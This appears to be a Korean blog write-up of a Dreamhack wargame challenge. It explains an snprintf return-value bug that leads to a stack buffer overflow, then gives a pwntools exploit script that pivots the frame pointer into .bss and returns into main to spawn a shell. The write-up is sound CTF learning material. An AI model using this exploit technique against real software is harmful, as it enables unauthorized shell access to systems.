소스코드이다.
처음엔 필터링 우회해서 효과적인 command를 구성하려 했는데 어림도 없더라
read_data(data,60);
size = snprintf(command, 30, "ls -%s ", data);
printf("Enter path : ")
read_data(&command[size], 70);
system(command)
** snprintf 취약점 **
snprintf는 두 번째 인자로 size(입력받을 input 크기)를 지정할 수 있지만
snprintf의 반환값은 버퍼에 실제로 쓰인 문자의 수가 아니라, 버퍼가 무한하다고 가정했을 때 쓰이게 될 문자의 수라고 한다
따라서 read_data에서 data에 60자 입력 시, 마지막 null 바이트 치환되면서 59자가 되고
size = 0x40 담긴다 (기존 포맷스트링 5자 + 59자 = 64)
두 번째 read_data에서는 read(0, &command[0x40], 0x46) 할 수 있는거임
command[0x40] = $rbp-0x70 + 0x40 = $rbp-0x30
=> BOF 가능!! (SFP, RET overwrite 가능)
Partial RELRO No canary found NX enabled No PIE => 최고의 BOF 환경
main+164로 리턴하면 되겠다
처음에는 인자 전달을 rop 가젯으로 하려 했는데, $rbp+0x16까지만 overwrite 가능해서 길이 부족
rbp-0x70에 유효한 주소가 담겨있으면 된다 = SFP를 적절히 조작하면 된다
좋은 게 없나 IDA를 살펴보던 중 sel만 색깔이 달랐다 => 전역변수이고 bss영역에 있다 (주소 고정, 원하는 값 입력 가능 ㅋㅋ)
sel에 문자열 넣어두고
rbp-0x70이 sel 가리키게 하고
main+4013cb로 흐름 옮기면 끗!
+ 반복문 탈출은 DWORD [rbp-0x4] 값 + 1 과 9를 비교해서 결정하므로
+ rbp-0x4 에 9 이상의 값만 넣어주면 반복문 한 번만 돌고 바로 탈출하겠지
from pwn import *
# p = process("./stb-lsExecutor")
p = remote("host3.dreamhack.games", 10760)
sel_addr = 0x404079
main_addr = 0x4013cb
p.sendafter("Enter option : ", b'A'*60)
payload = b'A'*0x2c
payload += p32(0x9) # 반복문 통과
payload += p64(sel_addr + 0x70) # SFP
payload += p64(main_addr) # RET
p.sendafter("Enter path : ", payload)
p.sendafter("y/n\n", "sh")
p.interactive()
추가 풀이
- SFP를 BSS 영역으로 옮긴다 (조건: [rbp-0x8]에 0이 담겨있어야 하며, [rbp-0x70]이 유효한 bss 상의 주소여야 함)
- RET는 read_data 호출 전 인자 셋팅하는 main+139로 옮긴다
- "shh"를 입력한다 (read_data에서 마지막 바이트 널바이트로 치환하므로)
'security > 포너블 - dreamhack' 카테고리의 다른 글
pwn 강좌 메모 (0) | 2023.06.15 |
---|---|
[Dreamhack Wargame] Cat-Jump (0) | 2023.06.15 |
[Dreamhack Wargame] awesome_basic (0) | 2023.06.15 |
[Dreamhack Wargame] Stupid GCC (0) | 2023.06.14 |
[Dreamhack Wargame] FSB_Overwrite (0) | 2023.06.14 |